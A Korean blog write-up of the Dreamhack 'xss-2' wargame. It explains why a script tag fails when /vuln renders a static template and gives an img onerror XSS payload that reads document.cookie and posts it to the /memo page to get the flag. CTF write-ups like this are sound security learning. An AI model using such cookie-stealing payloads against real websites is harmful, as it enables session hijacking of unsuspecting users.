문제 설명
render_template을 우회하여 플래그 값을 구하라
페이지 설명
모든 엔드포인트는 xss-1 문제와 똑같은 구성으로 이루어져 있다. 아래의 포스트를 참고하여 파악해보자
[워게임] xss-1 : innerHTML 풀이
문제 설명XSS 기법을 사용하여 쿠키에 저장된 플래그 값을 탈취하자. 페이지 설명/ : 인덱스 페이지입니다./vuln : 이용자가 입력한 값을 출력합니다./memo : 이용자가 메모를 남길 수 있으며, 작성
e-dl.tistory.com
달라진 점은 /vuln 의 코드이다
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
사용자가 입력한 param 값을 바로 리턴하는 것이 아니라 매개변수 전달 없이 vuln.html 로 랜더링 하도록 되어있다.
그러면 <script> 로 xss 를 수행할 수 없는 문제가 발생하기 때문에 다른 html 태그를 사용해서 xss를 수행해야 한다.
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
이 태그를 파라미터로 보내면 vuln 페이지에 img 태그가 생성되고 onerror 속성을 사용하여 스크립트를 실행시킬 수 있습니다
https://dreamhack.io/wargame/challenges/268
xss-2
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다. XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. 플래그 형식은 DH{...} 입니다. 문제 수정 내역
dreamhack.io